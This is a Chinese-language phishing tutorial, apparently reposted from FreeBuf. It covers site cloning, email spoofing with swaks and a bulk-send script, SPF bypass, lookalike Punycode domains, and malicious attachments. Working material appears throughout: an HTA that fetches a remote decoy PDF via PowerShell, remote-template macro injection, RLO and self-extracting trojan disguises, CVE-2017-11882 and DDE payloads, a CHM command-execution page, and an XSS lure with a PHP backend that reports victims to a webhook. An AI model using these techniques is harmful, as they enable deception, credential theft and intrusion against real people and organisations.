(之前在freebuf發過,所以圖片會有水印)
釣魚網站部署(克隆)
Social Engineering Tools(SET)
kali自帶,啟動:setoolkit

選擇Social-Engineering Attacks

一般選擇1或者2
1:魚叉式網絡釣魚攻擊


2:網頁攻擊
Web攻擊模塊是一種獨特的方式,利用多種基於Web的攻擊,以危及預期的受害者。
- Java Applet Attack方法將欺騙Java證書並提供一個基於metasploit的有效負載。使用Thomas Werth創建的自定義java applet來交付有效負載。
- Metasploit Browser Exploit方法將利用選擇Metasploit瀏覽器利用通過iframe和交付一個Metasploit有效負載。
- Credential Harvester方法將利用具有用戶名和密碼字段的網站的web克隆,並收集發布到網站上的所有信息。
- TabNabbing方法將等待用戶移動到不同的選項卡,然后刷新頁面到不同的內容。
- Web-Jacking攻擊方法利用iframe替換,使突出顯示的URL鏈接顯示合法,但當單擊彈出的窗口,然后被惡意鏈接取代。如果它太慢/太快,你可以在set_config中編輯鏈接替換設置。
- Multi-Attack方法將通過web攻擊菜單添加攻擊組合。例如,你可以一次性使用Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing來查看哪一個是成功的。
- HTA攻擊方法將允許您克隆一個站點,並通過HTA文件執行powershell注入,可用於通過瀏覽器利用基於windows的powershell。

例如8:HTA attack


SET克隆的源碼保存在 /root/.set/web_clone/ 目錄下
httrack
HTTrack是一個網站鏡像工具,本來是用來抓取網站做離線瀏覽用的。但是HTTrack的爬蟲特性和搜索引擎蜘蛛爬蟲非常的像,這也逐漸應用到 SEO(搜索引擎優化)工作中。其實這兩種看似不同的爬蟲做的都是同樣的工作,就是復制網站並存儲下來(網站在搜索引擎中的網頁快照就是被存儲下來的內容)。
httrack只能用於克隆靜態內容,而無法完全復制網站上的動態內容、中間部分(數據庫)等內容
kali自帶。
Windows版:http://www.httrack.com/
使用:
第一步:創立項目的名稱(工程名)

第二步:選擇操作方式,再點擊“添加URL”,將我們的網站地址添加進去。

第三步:進入“選項”,設定爬行和抓取規則等選項

在選項中,取消使用代理進行FTP傳輸;
進入“掃描規則”,為HTTrack程序設定爬行和抓取規則,HTTrack里面自帶了一些,可以自己設置,也可以默認。

這樣的掃描規則搜索引擎也一定會有的,比如不收錄.exe文件,zip文件等等。然后不收錄一些特定的跟蹤鏈接, 如 ad.doubleclick.net 。你需要把一些搜索引擎爬蟲不收錄的特征加進去。
然后在“搜尋”里面,很多的特征都是現在搜索引擎爬蟲的特征:

一般的搜索引擎不會接收cookies,因此測試時我們也將此項去掉。
第四步:一般按照以上設置就可以,其他的默認就行。點擊下一步:

在此頁面,我們不用選擇任何項,直接點擊完成就可以進行測試了,如下圖

此時,HTTrack開始對網頁進行爬行,抓取。


克隆效果比較好,只不過文件會比較大:

Cobalt Strike –clone


可以進行鍵盤記錄,竊取口令,也能結合其他攻擊
在Web日志里查看訪問日志:

郵件偽造
郵件安全的三大協議
SPF
SPF詳解: http://www.renfei.org/blog/introduction-to-spf.html
SPF是 Sender Policy Framework 的縮寫,一種以IP地址認證電子郵件發件人身份的技術。 接收郵件方會首先檢查域名的SPF記錄,來確定發件人的IP地址是否被包含在SPF記錄里面,如果在,就認為是一封正確的郵件,否則會認為是一封偽造的郵件進行退回。例如:當郵件服務器收到自稱發件人是spam@gmail.com的郵件,那么到底它是不是真的gmail.com的郵件服務器發過來的呢,我們可以查詢gmail.com的SPF記錄,以此防止別人偽造你來發郵件。
原理:
SPF 記錄實際上是服務器的一個 DNS 記錄,原理其實很簡單:
假設郵件服務器收到了一封郵件,來自主機的 IP 是173.194.72.103,並且聲稱發件人為email@example.com。為了確認發件人不是偽造的,郵件服務器會去查詢example.com的 SPF 記錄。如果該域的 SPF 記錄設置允許 IP 為173.194.72.103的主機發送郵件,則服務器就認為這封郵件是合法的;如果不允許,則通常會退信,或將其標記為垃圾/仿冒郵件。
因為不懷好心的人雖然可以「聲稱」他的郵件來自example.com,但是他卻無權操作example.com的 DNS 記錄;同時他也無法偽造自己的 IP 地址。因此 SPF 是很有效的,當前基本上所有的郵件服務提供商(例如 Gmail、QQ 郵箱等)都會驗證它。
DKIM
DKIM讓企業可以把加密簽名插入到發送的電子郵件中,然后把該簽名與域名關聯起來。簽名隨電子郵件一起傳送,而不管是沿着網絡上的哪條路徑傳送。電子郵件收件人則可以通過DNS查詢得到公開密鑰后進行驗證郵件是否來自該企業。可確保郵件內容不被偷窺或篡改。
那么我們如何獲取到發件方的DKIM的密鑰呢?在DKIM中有一個選擇器(selector)的概念,通過此功能可以為不同的用戶提供不同的簽名,想要找到發件方的DKIM服務器,首先需要找到selector,在郵件的DKIM頭中,s字段的值即為DKIM的selector,獲取到selector后,我們就可以在如下域名中找到密鑰。
selector._domainkey.xxxxxxxx.com
以博客園的郵件為例,查看郵件源文件,通過s字段可以得到selector的值為mail。

因此博客園的DKIM服務器域名為s1024._domainkey.send.cnblogs.com,同樣通過dig或者nslookup即可獲取解密密鑰。

DMARC
DMARC(Domain-based Message Authentication, Reporting & Conformance)是txt記錄中的一種,是一種基於現有的SPF和DKIM協議的可擴展電子郵件認證協議,其核心思想是郵件的發送方通過特定方式(DNS)公開表明自己會用到的發件服務器(SPF)、並對發出的郵件內容進行簽名(DKIM),而郵件的接收方則檢查收到的郵件是否來自發送方授權過的服務器並核對簽名是否有效。對於未通過前述檢查的郵件,接收方則按照發送方指定的策略進行處理,如直接投入垃圾箱或拒收。從而有效識別並攔截欺詐郵件和釣魚郵件,保障用戶個人信息安全。
郵件網關檢測原理
以上是協議層面的安全防護,但是協議防護也不是萬能的,在真實的企業安全防護中,安全郵件網關是保護郵件安全的有效方案。郵件安全防護產品在此次釣魚郵件對抗中起到了重要作用,下面簡單介紹一下郵件網關的防護原理。
規則庫:
和殺毒軟件一樣,為了降低誤報,一些郵件網關會使用規則庫的技術,一些我們認定為垃圾郵件的郵件,則會被當做郵件樣本加入規則庫,下次如果再次遇到相同的郵件即可進行檢測。
郵件頭檢測:
檢測mail from和from字段是否一致,檢測SPF、DKIM、DMARC是否符合。
防病毒:
郵件中嵌入惡意附件也是常用的攻擊方式,郵件內容都是BASE64編碼的,因此附件是可以直接進行還原,很多郵件網關都會內置防病毒引擎,甚至有的還有沙箱技術,讓附件樣本模擬運行后,通過行為來動態判斷附件的黑白。一些攻擊者在發送木馬附件的郵件后可能會遇到有目標上線但很快下線的情況,遇到這種情況也不要高興的太早,拿到的可能並不是一個真正的主機權限,而是一個沙箱。
黑白名單:
黑白名單是簡單有效的防護方式,可以針對發件箱、源IP、發件域名等設置黑白名單,特別是在應急響應階段,黑白名單可以實現快速控制威脅擴散。
頻率檢測:
對於同一源IP或者郵箱,如果一段時間內發送了大量郵件,則認定發件人為攻擊者,采取黑名單方式禁止其訪問目標。
超鏈接檢測:
在釣魚郵件檢測中常用,提取郵件中所有超鏈接,然后依次判斷鏈接是否已經在惡意鏈接的規則庫中。對於文本顯示的鏈接和超鏈接的實際鏈接不同的情況,也會提示為釣魚郵件。
機器學習:
對發件人的郵箱域名進行學習,識別出與真實域名相近的域名,比如tools.com、t00ls.com、tooIs.com等,如果發現類似域名的發件人,則標記為危險郵件。
查看SPF配置情況
如果SPF沒配置的話,那么任何人都可以像郵件服務器自定義內容發送郵件,這樣就會導致郵件偽造。(郵件的中轉是通過SMTP協議的)
要想查看一個域名是否配置了SPF,可以用nslookup或者dig查看:
nslookup -type=txt domain
dig -t txt domain
例如:nslookup -type=txt qq.com
(如上圖是配置了SPF)(SPF可以配置為ip,也可以配置為域名)

未配置的話,是這樣的:

特例:軟拒絕 ~all

~前綴代表軟拒絕,對接收方來說,遇到有軟拒絕的域名沒有通過SPF校驗,通常采取的策略是放行或者標記為垃圾郵件
當然,最好還是對目標多做一些域名收集,尋找一些沒有SPF記錄的域名,比如xxxx.com、xxxx.cn或者一些三級域名,甚至可以嘗試任意偽造一個不存在的三級域名,比如1111.xxxx.com。用這些域名發送釣魚郵件。
偽造郵件的發送
郵件為什么可以被偽造呢,最根本的原因就是SMTP協議不會驗證發送者的身份,當郵件在兩個不同的SMTP郵件服務器中被傳輸時,我們可以通過偽造來源欺騙接收者的SMTP服務器。
沒有spf的情況下
沒有配置SPF,郵件服務器就不會去驗證發件人,就可以直接進行偽造了。
swaks
- swaks基本用法
swaks是郵件偽造工具,kali中自帶
1.測試是否可以和目標郵箱發送數據
執行命令:swaks –to [*****@qq.com]

前面都返回250ok,說明該郵箱存在,並且可以正常收信。最后可以看到qq郵箱返回550錯誤,qq官方給出的出錯原因:該郵件內容涉嫌大量群發,並且被多數用戶投訴為垃圾郵件。
2.swaks參數說明
執行命令:swaks –help 可以看到n多參數和實例

--to 目標郵箱
--from 郵件發送者
--ehlo <偽造的郵件ehlo頭>
--body <郵件正文>
--attach 添加附件
--header-From 郵件頭
--header "Subject:主題" 郵件主題
如:
swaks --to xxxx@qq.com --from info@XXX.com --ehlo XXX.com --body hello --header "Subject: hello"
3.發送釣魚郵件
執行
swaks --to ****@qq.com --from ***@qianxin.com --h-From: '"總裁辦"<admin@qianxin.com>' --header "Subject: 關於集團報告滲透測試word模板更新的通告" --body "各位一線工程師,集團對外word統一格式,請下載附件使用,謝謝合作!" --attach-name 滲透報告模版.doc --attach-type application/msword --attach /tmp/滲透報告模版.doc
注: attach-type是傳輸文件的MIME類型、 attach-name是名字
理論上不加這兩個也可以的。
使用swaks發送郵件,命令如下:
swaks --to yokan******@163.com --from admin@******.io --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt
第一次發送的時候會失敗,提示,請15分鍾后再嘗試。

查看163的錯誤說明,說明中卻寫着2分鍾后再嘗試。

那就隔2分鍾后再發送郵件,返回250發送成功。


軟拒絕的話,可能會進垃圾郵件:

- swaks的高級用法
點擊查看郵件原文,然后將郵件原文復制,另存為txt文件

刪掉received字段和to字段

swaks --data email.txt --to xxxxxxxx@qq.com--from “xxx@126.com”
(概率成功)
--data表示郵件原文
- python腳本調用swaks批量發送郵件
該工具批量發送帶有自定義內容的郵件不方便,於是寫了一個py腳本,使用--data參數,方便批量發送
import time
import sys
import subprocess
#發送的完整郵件內容有2部分組成,一部分是收件人,是可變的,一部分是郵件內容,是不變的,內容使用file_c變量,收件人使用file_f變量,具體看腳本內容
file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=
#主題等都是gb2312編碼后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#發送郵件是提前發送的模板郵件,所以需要獲取當前時間作為發送時間,不然接收的時間會不對
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: administrator@xxx.com
xxx內容xxx '''
file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
#print(file_f)
with open('/usr/local/src/file.txt', 'w') as f:
f.writelines(file_f + file_c)
status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
lg = status.stdout.readlines()
print(type(lg))
with open('/usr/local/src/log.txt', 'a+') as g:
for line in lg:
g.write(line.decode())
EwoMail
也可以自己在vps上搭建郵件服務器
EwoMail是基於Linux的企業郵箱服務器:https://github.com/gyxuehu/EwoMail

或者使用第三方的郵件服務器。
在線郵件偽造服務
郵件偽造服務:http://tool.chacuo.net/mailanonymous
網址:https://emkei.cz/\

發送之后
沒有SPF,郵件網關就不會進行攔截,收到后直接看是完全無異樣,但查看郵件源文件發現from的ip非域名對應ip,但對於普通用戶來說欺騙性很強。

配置了SPF的情況
配置了SPF,按照上邊這種方法發送的話,通常情況下就會被直接攔截或者進了垃圾箱
這種情況就需要用一些權威的郵件服務商去發送郵件了
如sendgrid,mailgun,這些權威郵件服務商,會被大部分郵件服務商加到白名單中,這樣他們的郵件就不會進到垃圾箱
SendGrid
30天試用,能免費發送40000封郵件
https://sendgrid.com
注冊 SendGrid (需要驗證域名所有權,但發信可以不使用這個域名),獲得一個 API ,然后有多種方式發送郵件,最方便的是 Curl :
curl --request POST \
--url https://api.sendgrid.com/v3/mail/send \
--header "Authorization: Bearer 你的 API" \
--header 'Content-Type: application/json' \
--data '{"personalizations": [{"to": [{"email": "發給誰"}]}],"from": {"email": "發件人(你想偽造成誰)"},"subject": "標題","content": [{"type": "text/plain", "value": "內容"}]}'
這種方式只需要你有一台服務器,在服務器里面運行這條命令即可發送偽造郵件。但是這種方式無法自定義發件人名字,
mailgun
mailgun也類似,每個月可免費發送10000封郵件,可以添加1000個域名,每封郵件都有跟蹤日志,簡單明了的管理界面。:
https://www.mailgun.com
# Try our API. Copy & run this in your terminal.
curl -s --user 'api:key-**********' \
https://api.mailgun.net/v3/samples.mailgun.org/messages \
-F from='Excited User <excited@samples.mailgun.org>' \
-F to='devs@mailgun.net' \
-F subject='Hello' \
-F text='Testing some Mailgun awesomeness!'
其他同類服務:
Amazon SES 免費套餐,月發送 62000 封電子郵件。
https://aws.amazon.com/cn/ses/pricing/
阿里雲郵件推送服務,每個賬戶每日200封免費郵件。
https://www.aliyun.com/product/directmail?spm=5176.8064714.321187.pricedetail1111.MpRlp1
SendCloud 搜狐旗下付費服務
MandRill 付費服務
https://www.mandrill.com/pricing/
Postmark 免費試用
https://postmarkapp.com/pricing
軟拒絕(~all)
~前綴代表軟拒絕,對接收方來說,遇到有軟拒絕的域名沒有通過SPF校驗,通常采取的策略是放行或者標記為垃圾郵件

使用swaks發送郵件,命令如下:
swaks --to yokan********@163.com --from admin@******.com --header "Subject: work" --body "hello,just test!" --attach /tmp/1.txt
第一次發送的時候會失敗,提示,請15分鍾后再嘗試。

查看163的錯誤說明,說明中卻寫着2分鍾后再嘗試。

那就隔2分鍾后再發送郵件,返回250發送成功。

不過會進垃圾郵件:

另類方法繞SPF
由於郵件網關會對SPF記錄中的IP開啟白名單,對SPF記錄中的IP進行漏洞探測,如果能獲取這些IP的控制權,以白名單身份發郵件,即可完美繞過所有限制。例如,對目標域名進行了SPF查詢,發現了3個IP。

發現其中一個IP開了23端口,telnet連上去直接可以轉發郵件不需要任何認證。
提高送達成功率
- 適當控制發信的頻率,如果短時間內向同一個郵箱地址發信,也會容易被標記為垃圾郵件。最好向同一郵箱發信間隔在2-5天
- 將較大的收件人列表分割成若干個小的,分時間段發送
- 使用變量,一般來說,郵件服務器多次收到來自同一個郵件IP地址的相同內容郵件,很容易就被判定為垃圾郵件。在進行郵件編輯時,多采用變量設置,像公司名、收件人,可以進行變量添加,避免郵件內容完全一致
- 回執。當我們想要對從⽹上收集到的郵箱進⾏郵件釣⻥時,⼀⼤堆郵箱,怎么確保對應的郵箱依然存活,⼜或者說哪些郵箱的釣⻥成功率⾼點?這時候就需要⽤到郵箱的回執功能,當開啟回執時,我們的郵件被對⽅已讀時,我們就會收到⼀份回執信息:

這種情況下,我們就可以對已讀的郵箱進⾏深⼊釣⻥。
釣魚郵件的內容
釣魚郵件通常有兩大類,一種是鏈接釣魚郵件,通常是想各種辦法讓目標打開網站,輸入密碼。另一種是附件釣魚郵件,但不管哪一類,都需要一個好的文案來讓目標點擊或者下載。
一封成功的釣魚郵件,一個好的文案是必須的,一個讓人看了后可能會去點的文案,需要具備以下幾個要素:
重要性
首先得讓體現出來郵件的重要性,來驅使目標去查看郵件。
合理性
其次文案得基本合理,這個就需要結合目標的身份,日常習慣,所在公司的情況及業務進行綜合考量,來編寫出一個合理的文案。
緊迫性
最后文案最好有一些緊迫性,來促使目標盡快的去按照文案引導,進行點擊、輸入等操作。
鏈接釣魚
郵件內容設置
賬號被異常登錄

賬號密碼過期

系統更新,遷移


領取禮品

釣魚鏈接域名偽裝
有了文案,怎么能讓郵件看起來真實性更高呢?
最簡單的就是用超鏈接,把元素內容改成想要仿冒的域名,在郵箱頁面上,就會直接顯示元素的內容,如下圖所示:
<a href="http://www.eval.me">www.aliyun.com</a>

但這種點擊完之后,跳轉瀏覽器的時候就會顯示真實的域名,所以,要想讓釣魚的成功率更高一些,就需要對域名做一些處理。比如申請一些和目標域名比較相似的域名,比如用0代替o,用1代替l,用vv代替w等等,這就需要發揮你的想象來尋找相似的域名:
http://www.taoba0.com/
http://www.a1iyun.com
如果找不到這樣形似的域名或者這種域名比較貴的情況下,可以嘗試一些更騷的操作。。
比如幣安“驚魂夜”釣魚的案例:
用戶收到的釣魚網站鏈接:

真正的官網鏈接:

攻擊者的域名為
www.biṇaṇce.com
圖中用於替換字母n的字符為:ṇ
Unicode編碼為:U+1E47
真正的字母n的Unicode編碼為:
U+006E,攻擊者上演了一出障眼法騙過了那些受害者。

這樣的域名是怎么注冊的呢?在了解怎么注冊一個這樣的域名前,需要先了解什么是國際域名(Internationalized domain name, IDN)。
IDN是指在域名中包含至少一個特殊語言字母的域名,特殊語言包括中文、法文、拉丁文等。在DNS系統工作中,這種域名會被編碼成ASCII字符串,並通過Punycode進行翻譯。
Punycode是一個根據RFC 3492標准而制定的編碼系統,主要用於把域名從地方語言所采用的Unicode編碼轉換成為可用於DNS系統的編碼。
目前,因為操作系統的核心都是英文組成,DNS服務器的解析也是由英文代碼交換,所以DNS服務器上並不支持直接的中文域名解析,所有中文域名的解析都需要轉成punycode碼,然后由DNS解析punycode碼。其實目前所說的各種主流瀏覽器都完美支持IDN域名,瀏覽器里面會自動對IDN域名進行Punycode轉碼,而地址欄依舊顯示的是原始輸入的IDN域名。
所以,要想注冊“幣安”的這個域名:
www.biṇaṇce.com
其實只需要注冊他經過punycode轉碼后的域名:
www.xn--biace-4l1bb.com
然后讓目標訪問www.biṇaṇce.com,在地址欄中就很難被發現。

我遍歷了unicode表,找了一些字母形似的unicode,可利用此表來注冊一些釣魚域名

仿冒的阿里雲
www.аlіyun.com
0x456 і
0x430 а
經punycode轉碼:www.xn--lyun-43d3u.com

punycode在線轉換工具:http://tools.jb51.net/punycode/index.php
附件釣魚
INK
lnk⽂件,簡單理解為快捷⽅式,創建⽅式如下:

下圖為calc.exe的快捷⽅式的屬性信息,我們可以在“⽬標”欄寫⼊⾃⼰的惡意命令,如powershell上線命令:


然后運行,即可在CS上線。
⽽在實施釣⻥過程中,對於我們的calc.exe的快捷⽅式來說,⼀個⼤⼤的計算機ico圖標,顯然看起來不像⼀個好玩意,因此可以嘗試在“屬性”中去更改該⽂件的圖標:

但是⽤系統⾃帶的ico去做⽂件圖標替換的話,有個弊端,即當替換的ico在⽬標機器上不存在時,就會出現類似空⽩ico圖標:
比較好的方法是修改lnk的icon_location標志位,修改為相關后綴,系統即可⾃動聯想到對應的打開⽅式:
用winhex或者010 Editor打開該LNK文件,找到String Data部分ICON_LOCATION字符串:

我們要將其修改為.\1.pdf(Unicode),其長度0x07:

07002E005C0031002E00700064006600
我的pdf默認是由edge瀏覽器打開,則在icon_location中設置為pdf后綴時,⽂件的ico也會自動顯示為edge瀏覽器打開的圖標, 這樣可以達到⾃適配的效果:

當受害者中招打開我們的所謂的pdf,實則為惡意的快捷⽅式時,雙擊兩下,什么反應都沒有,可能會有⼀絲疑惑,因此可以當嘗試⽤powershell、mshta等⽅式上線時,我們可以更改如cobaltstrike⽣成的代碼,加上⼀段⾃動下載打開⼀份真的pdf,來達到逼真的效果,具體過程如下:
首先新建一指向%windir%\System32\mshta.exe的快捷方式(文件名盡量帶有迷惑性),並更改其圖標為%SystemRoot%\System32\SHELL32.dll中任意一個:

使用CS生成一個powershell方式的HTA木馬

打開hta文件,在其執行payload前增加如下 語句:
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.15:8000/1.pdf',$env:temp+'\1.pdf');Start-Process $env:temp'\1.pdf'", 0, true

然后python起個http服務

這樣一來,在受害者打開LNK文件后會從遠程下載一正常PDF文檔並打開。
接下來使用上面的方法修改快捷方式圖標為pdf的圖標。

使用CS設置HTA文件下載:

之后更改快捷方式的參數為HTA下載地址:

之后雙擊該LNK文件,主機便會上線,而受害者會看到一正常的PDF文檔:


宏
CS
生成office宏病毒文件,此程序包生成一個VBA宏,您可以將其嵌入到Microsoft Word或Excel文檔中。 此攻擊適用於Windows上的x86和x64 Office


在word的視圖功能中植⼊相關宏:

隨便創建一個宏,將CS的Macro代碼復制進去保存就可以。運行,word即可上線。(excel類似)
但是此種辦法有個弊端,就是宏代碼是存在本地的,極易被殺軟查殺。

遠程模板注入宏代碼
因此我們可以嘗試使⽤遠程加載模板的⽅式在進⾏宏加載。
原理:
利用Word文檔加載附加模板時的缺陷所發起的惡意請求,而達到的攻擊目的,所以當目標用戶點開攻擊者發送的惡意Word文檔就可以通過向遠程服務器發送惡意請求的方式,然后加載模板執行惡意模板的宏。
發送的文檔本身不帶惡意代碼,所以能過很多靜態檢測。只需要在遠程DOTM文檔中編寫宏病毒或者木馬即可。
思路:
編寫一個帶有宏代碼的DOTM文檔,上傳服務器
編寫一個帶模板的DOCX文檔
將該文檔壓縮找到並更改settings.xml.rels文件中的內容,將其中的target內容修改為服務器上DOTM文檔的URL
將DOCX解壓后的內容再以存儲模式壓縮為ZIP
修改后綴名為DOCX,打開后即可實現遠程注入宏文檔
新建word, 打開宏代碼編輯環境后,在本文檔的ThisDocument下,編寫如下宏代碼

保存時保存類型為 dotm :

開啟Web服務,放在其目錄下, http://192.168.111.234/cs_macro.dotm
制作 docx
創建一個簡歷模板word文檔:


將word文件后綴 docx 改為 zip,解壓,找到settings.xml.rels

用文本編輯器打開,修改target項,可用的協議有ftp、smb、http,這里使用http:
將 target 內容改為http://192.168.111.234/cs_macro.dotm

之后全選目錄所有文件,壓縮為macro_test.zip,再將后綴改為docx


制作完成。
雙擊打開,啟動宏,即可上線:


宏免殺
https://github.com/outflanknl/EvilClippy
https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/
http://www.h0r2yc.com/2019/08/01/office%E5%AE%8F%E6%94%BB%E5%87%BB%E5%8F%8A%E5%85%8D%E6%9D%80/
文件名反轉RLO
RLO,即Right-to-Left Override,我們可以在⽂件名中插⼊此類unicode字符,來達到⽂件名反轉的效果。
以calc.exe來舉例,
將其重命名為calcgpj.exe,然后在 calc 與 g 之間右鍵,看圖操作

ok,此時已經變成了 以 jpg 結尾的了。但是雙擊運行還是 exe 格式運行的。

再利用ResourceHacker修改圖標。
找個圖片轉換為 ico 格式。

如圖,雙擊實際上還是運行的calc。
自解壓
首先我們需要准備好木馬(cmd.exe)、正常程序(calc.exe)

1.選中兩個程序,然后添加到壓縮文件,創建自解壓

2.高級自解壓選項,常規:解壓路徑 ——> 絕對路徑:
路徑寫C:\windows\temp
3.高級自解壓選項->設置

C:\windows\temp\選中的木馬名
C:\windows\temp\選中的程序名
4.高級自解壓選項->模式
靜默模式->隱藏所有
5.高級自解壓選項->更新
更新模式->解壓並更新
覆蓋模式->覆蓋所有文件
6.確定

執行一下,發現達到了效果,在這里我們還需要做一些細節的偽裝.
使用Resource Hacker換一下圖標:
運行

自解壓+RLO
- 將png圖片和exe自解壓成 gnp.exe
- RLO,文件名反轉成png
- 修改png圖標,變成個圖片
- 運行,看起來是個圖⽚,后綴也是個圖⽚,打開也是個圖⽚,但是木馬成功執行


雙擊,pikaexe.jpg

CVE-2017-11882
適用於:
MicrosoftOffice 2000
MicrosoftOffice 2003
MicrosoftOffice 2007 Service Pack 3
MicrosoftOffice 2010 Service Pack 2
MicrosoftOffice 2013 Service Pack 1
MicrosoftOffice 2016
MicrosoftOffice 365
Microsoft Office Word 的一個執行任意代碼的方法,可以在不啟用宏的情況下執行任意程序。
這個功能的本意是為了更方便地在 word 里同步更新其它應用的內容,比如說在一個 word 文檔里引用了另一個 excel 表格里的某項內容,通過連接域 (Field) 的方式可以實現在 excel 里更新內容后 word 中同步更新的效果,問題出在這個域的內容可以是一個公式 (或者說表達式),這個公式並不限制內容。
GitHub:
https://github.com/Ridter/CVE-2017-11882
使用:
python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc
生成 test.doc 文檔,靶機打開。成功彈出加算器

msf 復現。
項目
https://github.com/0x09AL/CVE-2017-11882-metasploitexploit/windows/fileformat/office_ms17_11882
有點不穩,老是上線不了

配合 HTA上線
exploit/windows/misc/hta_server
http://192.168.2.148:8080/IbsbCdtZ.ht

靶機打開test2.doc直接上線

CHM 電子書
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內容以類似數據庫的形式編譯儲存。
制作CHM需要用到一個工具 EasyCHM(http://www.etextwizard.com/)
新建一個html文件,編碼格式ANSI,向里面寫入如下內容
<!DOCTYPE html><html><head><title>Mousejack
replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c calc.exe'>
//這一排用於執行命令,注意 cmd.exe 前后都有,或者<PARAM name="Item1"
value=',powershell.exe,-c calc.exe'>也行
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
用easychm,新建-瀏覽-選擇html文件所在目錄-編譯


office OLE+LNK
核心目標是創建一個內嵌的lnk文件誘導用戶點擊,從而執行命令。word,excel都能使用
我們創建一個快捷方式如下

其目標處填寫的是
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -command calc
然后打開word文件,插入對象,選擇package,為了更加逼真勾選顯示為圖標,然后可以更改圖標,我們在更改圖標處選擇一個迷惑性比較大的圖標

然后進入創建軟件包界面,選擇我們剛剛創建的lnk文件,寫好卷標名,然后就把軟件包插入到word界面了,只要用戶點擊該軟件包並選擇執行,則會執行我們在lnk中定義的代碼



捆綁文件
K8免殺系統自帶捆綁器加強版V2.0.EXE
超級文件捆綁器

生成,執行之后會執行cmd.exe一樣的效果,但此時后門軟件也被執行了。
Word DDE
在word文件里,輸入 ctrl+F9,進入到域代碼編輯。我們可以鍵入以下代碼使文件在被打開時執行系統命令(word2019復現未成功,word2016成功,似乎是word版本問題
這個蠻實用的,目前眾多word是默認禁用宏的,dde只需要用戶點擊兩個按鈕即可執行,實用性比宏好
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"
隨后在打開該文件時會出現兩個對話框,全點是就會執行以上命令了



XSS、SSRF釣魚
利用XSS漏洞釣魚
XSS最常見的利用就是獲取cookie。
通過XSS漏洞, 可以插入各種js代碼,來實現釣魚操作。
一些在線的XSS平台(最好自己搭建),也可以進行一些簡單的xss釣魚操作。
BeEF工具,利用xss漏洞也挺好用
XSS釣魚的一些思路:https://www.sqlsec.com/2020/10/xss2.html
兩個案例:https://cloud.tencent.com/developer/article/1517803
https://www.freebuf.com/vuls/228042.html
SSRF釣魚
案例: https://www.freebuf.com/vuls/229694.html
魚竿部署
使用魚竿,以判斷目標是否上鈎、哪些目標上鈎。
xss釣魚,cna插件配合php后端收桿:
https://github.com/timwhitez/Doge-XSS-Phishing(具體看flash釣魚實例)
https://github.com/TheKingOfDuck/XSS-Fishing2-CS
企業微信上線:
eval.js: (魚鈎)
var body = document.body;
var _left = window.innerWidth * 0.3 + 'px';
var _top = window.innerHeight * 0.3 + 'px';
var _height = window.innerHeight;
body.innerHTML=`<div style="background-color: white;height: ${_height}px"><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://192.168.111.252/Phishing/sdp.png' style='margin:3px;'>
<p><h3 >喔唷,崩潰啦!</h3></p >
<p style='color:gray'>顯示此網頁時出了點問題,請在您的頁面上啟用顯示插件,從而可能會有所幫助。</br></p >
<a href='http://*.*.*.*/xxx.exe'>
<button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white' >立即修復</button></a>
</div></div>
`;

xss.php: (魚竿)
<?php
$xssPayload = file_get_contents("eval.js");
$db = "botIPs.txt";
$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];
if ($botIP != 'NULL') {
echo $botIP;
}
if (!is_null($botIP)) {
$bots = fopen($db, "a") or die("Unable to open bots file!");
fwrite($bots, base64_encode($botIP) . "\n");
fclose($bots);
$url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************';
$data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));
$postdata = json_encode($data);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$result = curl_exec($ch);
curl_close($ch);
print_r($result);
}
else{
if (file_exists($db)) {
$line = file_get_contents($db);
$botIPs = explode("\n", $line);
}
if (@in_array(base64_encode($ip), $botIPs)) {
header('Content-type: text/javascript');
echo "var hb;";
} else {
#header('Content-type: text/javascript');
#echo $xssPayload;
echo "<html><meta http-equiv='Content-Type' content='text/html;charset=utf-8' /><body><script language=javascript>$xssPayload</script></body></html>";
#<script src="eval1.js" type="javascript"></script>
}
}
?>
sendIp.cnd :(魚竿)
on beacon_initial {
$webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";
local('$externalIP $computerName $userName');
